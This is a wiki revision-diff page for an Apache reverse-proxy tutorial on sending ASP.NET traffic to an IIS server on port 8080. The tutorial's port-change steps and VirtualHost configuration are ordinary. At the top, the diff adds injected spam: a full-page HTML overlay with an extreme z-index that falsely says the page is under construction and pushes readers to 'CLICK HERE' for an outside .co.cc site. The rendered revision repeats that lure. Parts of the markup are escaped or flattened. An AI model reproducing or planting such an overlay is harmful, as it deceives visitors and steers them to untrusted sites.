Difference between revisions of "Reverse Proxy Server 2: IIS back-end server"

From The Uniform Server Wiki
Jump to navigation Jump to search
m (removed spam)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ogetehuvo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ogetehuvo.co.cc CLICK HERE]=
 +
----
 +
</div>
 
{{Nav reverse proxy server}}
 
{{Nav reverse proxy server}}
  
Line 18: Line 26:
 
Change the IIS port for example 8080 using Internet Service Manager, each site must bind to port 8080.  
 
Change the IIS port for example 8080 using Internet Service Manager, each site must bind to port 8080.  
  
{|width="600"
+
{|width=&quot;600&quot;
|-style="background:#e8e8e8"
+
|-style=&quot;background:#e8e8e8&quot;
 
! Microsoft Internet Information Server version 3.0  
 
! Microsoft Internet Information Server version 3.0  
|-style="background:#f5f5f5"
+
|-style=&quot;background:#f5f5f5&quot;
 
|
 
|
 
# Open Internet Service Manager.
 
# Open Internet Service Manager.
Line 29: Line 37:
 
# Using the Internet Service Manager, stop and restart the IIS Services.
 
# Using the Internet Service Manager, stop and restart the IIS Services.
 
|}
 
|}
<br>
+
&lt;br&gt;
{|width="600"
+
{|width=&quot;600&quot;
|-style="background:#e8e8e8"
+
|-style=&quot;background:#e8e8e8&quot;
 
!  Microsoft Internet Information Services versions 4.0 to 6.0  
 
!  Microsoft Internet Information Services versions 4.0 to 6.0  
|-style="background:#f5f5f5"
+
|-style=&quot;background:#f5f5f5&quot;
 
|
 
|
 
# Open Internet Service Manager or Internet Information Services (IIS) Manager.
 
# Open Internet Service Manager or Internet Information Services (IIS) Manager.
Line 49: Line 57:
 
The set-up is similar to that shown on the previous page. Edit configuration file C:\server_a\UniServer\usr\local\apache2\conf\httpd.conf\'''httpd.conf'''
 
The set-up is similar to that shown on the previous page. Edit configuration file C:\server_a\UniServer\usr\local\apache2\conf\httpd.conf\'''httpd.conf'''
  
{|cellpadding="6"
+
{|cellpadding=&quot;6&quot;
 
|-
 
|-
|valign="top"|
+
|valign=&quot;top&quot;|
<pre>
+
&lt;pre&gt;
 
NameVirtualHost *
 
NameVirtualHost *
<VirtualHost *>
+
&lt;VirtualHost *&gt;
 
  ServerName localhost:80
 
  ServerName localhost:80
 
  DocumentRoot /www
 
  DocumentRoot /www
  
 
ProxyRequests off
 
ProxyRequests off
<Proxy *>
+
&lt;Proxy *&gt;
 
   Order deny,allow
 
   Order deny,allow
 
   Deny from all
 
   Deny from all
 
   Allow from 127.0.0.1
 
   Allow from 127.0.0.1
</Proxy>
+
&lt;/Proxy&gt;
  
 
ProxyPassReverse / http://localhost:8080/
 
ProxyPassReverse / http://localhost:8080/
Line 71: Line 79:
 
RewriteRule ^/DotNetApp(.*)$ http://localhost:8080/DotNetApp/$1 [P,L]
 
RewriteRule ^/DotNetApp(.*)$ http://localhost:8080/DotNetApp/$1 [P,L]
  
</VirtualHost>
+
&lt;/VirtualHost&gt;
</pre>
+
&lt;/pre&gt;
 
|
 
|
 
'''''Notes'':'''
 
'''''Notes'':'''
Line 80: Line 88:
  
 
Depending on your application you may need to preserve host headers. Try something like this:
 
Depending on your application you may need to preserve host headers. Try something like this:
{|cellpadding="6"
+
{|cellpadding=&quot;6&quot;
 
|-
 
|-
|valign="top"|
+
|valign=&quot;top&quot;|
<pre>
+
&lt;pre&gt;
 
NameVirtualHost *
 
NameVirtualHost *
<VirtualHost *>
+
&lt;VirtualHost *&gt;
 
  ServerName localhost:80
 
  ServerName localhost:80
 
  DocumentRoot /www
 
  DocumentRoot /www
  
 
ProxyRequests off
 
ProxyRequests off
<Proxy *>
+
&lt;Proxy *&gt;
 
   Order deny,allow
 
   Order deny,allow
 
   Deny from all
 
   Deny from all
 
   Allow from 127.0.0.1
 
   Allow from 127.0.0.1
</Proxy>
+
&lt;/Proxy&gt;
  
 
RewriteEngine On
 
RewriteEngine On
Line 102: Line 110:
 
RewriteRule ^/DotNetApp(.*)$ http://localhost:8080/DotNetApp/$1 [P,L]
 
RewriteRule ^/DotNetApp(.*)$ http://localhost:8080/DotNetApp/$1 [P,L]
  
</VirtualHost>
+
&lt;/VirtualHost&gt;
</pre>
+
&lt;/pre&gt;
 
|
 
|
  
Line 120: Line 128:
 
----
 
----
 
{|
 
{|
|-valign="middle"
+
|-valign=&quot;middle&quot;
 
| [[Image:uc_small_logo.gif]] || [[User:Ric|Ric]]  
 
| [[Image:uc_small_logo.gif]] || [[User:Ric|Ric]]  
 
|}
 
|}

Revision as of 10:25, 24 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


 

Uniform Server 5.0-Nano
Reverse Proxy.

Uniform Server - IIS

Apache is an awesome web server. It will even run ASP applications. Just install Apache::ASP and you are ready to go. Alternatively, you could use that redundant IIS server sitting on your machine and run the appropriate ASP apps from it.

IIS Server

Hey! No way am I suggesting making it your main server. It needs to be put in its place and that’s as a back-end server. On the previous page you saw how easy it is to run Uniform Server as a proxy. Make the modifications to your main server and this gives you Apache and MySQL as a powerful combination, now proxy to IIS. OK, IIS sucks for anything but using ASP.Net, however at least you will have a set-up to explore.

Pain:

IIS is a pain when you try to tweak it; have a go at setting it as a proxy server and you will get some idea what I mean. Apache does it straight out of the box. In theory you should be able to run all your servers on port 80 and bind to different IP addresses. However IIS is a royal pain and grabs everything associated with the port it’s running on and that includes every IP address on the machine.

That said it is relatively easy to change the port it runs on, however it is version specific. Below I have listed the common versions. Full details for other versions can be found at Microsoft support.

Change IIS port

Change the IIS port for example 8080 using Internet Service Manager, each site must bind to port 8080.

Microsoft Internet Information Server version 3.0
  1. Open Internet Service Manager.
  2. Double-click on the computer corresponding to the WWW service.
  3. On the Service tab, change the TCP Port field to the desired port number (8080).
  4. Click OK.
  5. Using the Internet Service Manager, stop and restart the IIS Services.

<br>

Microsoft Internet Information Services versions 4.0 to 6.0
  1. Open Internet Service Manager or Internet Information Services (IIS) Manager.
  2. If necessary, expand the Web server that you want, and then expand Web Sites.
  3. Right-click the Web site that you want to change.
  4. Click Properties.
  5. Click the Web Site tab.
  6. Change the TCP Port Number in the TCP Port edit box (or click Advanced for multiple Port settings).
  7. Click OK to save the changes.

Load your ASP apps and check that they run.

Vhost Set-up

The set-up is similar to that shown on the previous page. Edit configuration file C:\server_a\UniServer\usr\local\apache2\conf\httpd.conf\httpd.conf

<pre> NameVirtualHost * <VirtualHost *>

ServerName localhost:80
DocumentRoot /www

ProxyRequests off <Proxy *>

 Order deny,allow
 Deny from all
 Allow from 127.0.0.1

</Proxy>

ProxyPassReverse / http://localhost:8080/

RewriteEngine On

  1. Add a rewrite rule for each .Net app you wish to proxy.

RewriteRule ^/DotNetApp(.*)$ http://localhost:8080/DotNetApp/$1 [P,L]

</VirtualHost> </pre>

Notes:

Note: port 8080 If you set a different port for IIS use that

Depending on your application you may need to preserve host headers. Try something like this:

<pre> NameVirtualHost * <VirtualHost *>

ServerName localhost:80
DocumentRoot /www

ProxyRequests off <Proxy *>

 Order deny,allow
 Deny from all
 Allow from 127.0.0.1

</Proxy>

RewriteEngine On ProxyVia Block ProxyPreserveHost On

  1. Add a rewrite rule for each .Net app you wish to proxy.

RewriteRule ^/DotNetApp(.*)$ http://localhost:8080/DotNetApp/$1 [P,L]

</VirtualHost> </pre>

Notes:

Note: port 8080 If you set a different port for IIS use that

Summary

It’s a shame! I have no examples for you to run, however the above shows the basic principals of proxying to IIS.

That really is the end of this tutorial series.

Top


Uc small logo.gif Ric